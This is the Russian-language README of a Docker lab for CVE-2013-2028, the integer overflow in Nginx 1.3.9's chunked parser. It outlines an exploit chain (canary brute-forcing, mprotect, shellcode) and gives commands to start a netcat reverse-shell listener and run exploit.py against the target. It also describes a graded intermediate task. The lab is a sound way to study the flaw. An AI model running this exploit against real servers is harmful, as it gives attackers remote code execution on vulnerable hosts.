Лаборатория на базе Docker и эксплойт на Python для CVE-2013-2028 — целочисленного переполнения в парсере chunked-запросов Nginx 1.3.9, охватывающие восстановление canary, mprotect и выполнение shellcode.
Уязвимое программное обеспечение: Nginx 1.3.9
Уязвимая функция: ngx_http_parse_chunked
CVE-2013-2028 — это уязвимость целочисленного переполнения в парсере кодирования передачи с разбивкой на фрагменты (chunked transfer encoding) HTTP в Nginx. В условиях, рассматриваемых в данной лабораторной среде, уязвимость может привести к повреждению памяти и может быть использована для влияния на поток управления.
Данный репозиторий предоставляет изолированную среду на основе Docker для изучения уязвимости и воспроизведения процесса эксплуатации.
Полный эксплойт состоит из четырёх основных этапов:
Восстановление стекового канарейки (stack canary)
Восстановление стекового канарейки путём побайтового перебора.
Манипуляция защитой памяти
Вычисление необходимой информации об адресах и построение требуемой последовательности потока управления для вызова mprotect на контролируемой области памяти.
Размещение шелл-кода
Копирование полезной нагрузки в контролируемую область памяти.
Передача потока управления
Передача выполнения в контролируемую область памяти.
Полный эксплойт демонстрирует переход от срабатывания уязвимого парсера через повреждение памяти и манипуляцию потоком управления к контролируемому выполнению кода.
exploit.pynetcat для слушателя, используемого в полной лабораторной работеНа хост-системе запустите слушатель на настроенном порту:
nc -lvp 4345
Используйте тот же порт с аргументом --listenerport (-lp) при запуске эксплойта.
Соберите и запустите среду Docker:
sudo docker-compose up --build
Уязвимая цель запускает Nginx 1.3.9 внутри контейнера.
Проверить версию Nginx можно с помощью:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Выполните:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
Эксплойт выполняет этапы восстановления канарейки и построения полезной нагрузки перед отправкой финальной полезной нагрузки на уязвимую цель.
Если ранее восстановленная канарейка доступна, её можно передать с помощью:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
Репозиторий также предоставляет промежуточное задание для оценки прогресса в процессе исследования уязвимости.
Выполните:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
Промежуточное задание выполняет свои проверки непосредственно на работающей цели Docker. Оно не полагается на вручную созданные файлы доказательств или вручную предоставленные JSON-утверждения.
Задание проверяет две области:
Задание:
Задание:
nginx -t.Проверка конфигурации устанавливает, что конфигурация Nginx синтаксически корректна. Сама по себе она не должна интерпретироваться как доказательство того, что CVE-2013-2028 была устранена.
Пример вывода:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
Промежуточное задание сохраняет результаты этих проверок во время выполнения в:
grader_state.json
Этот файл используется только для сохранения состояния, созданного проверками. Он не является источником определения уязвимости.
Лабораторная среда намеренно использует Nginx 1.3.9, старый выпуск Nginx, подверженный CVE-2013-2028.
Среда Docker предоставляет изолированную цель для исследования уязвимостей и упражнений по эксплуатации. Доступ к уязвимому сервису должен осуществляться только через интерфейсы, предоставляемые конфигурацией лабораторной работы.
Данный репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности в изолированной лабораторной среде.
Не запускайте эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.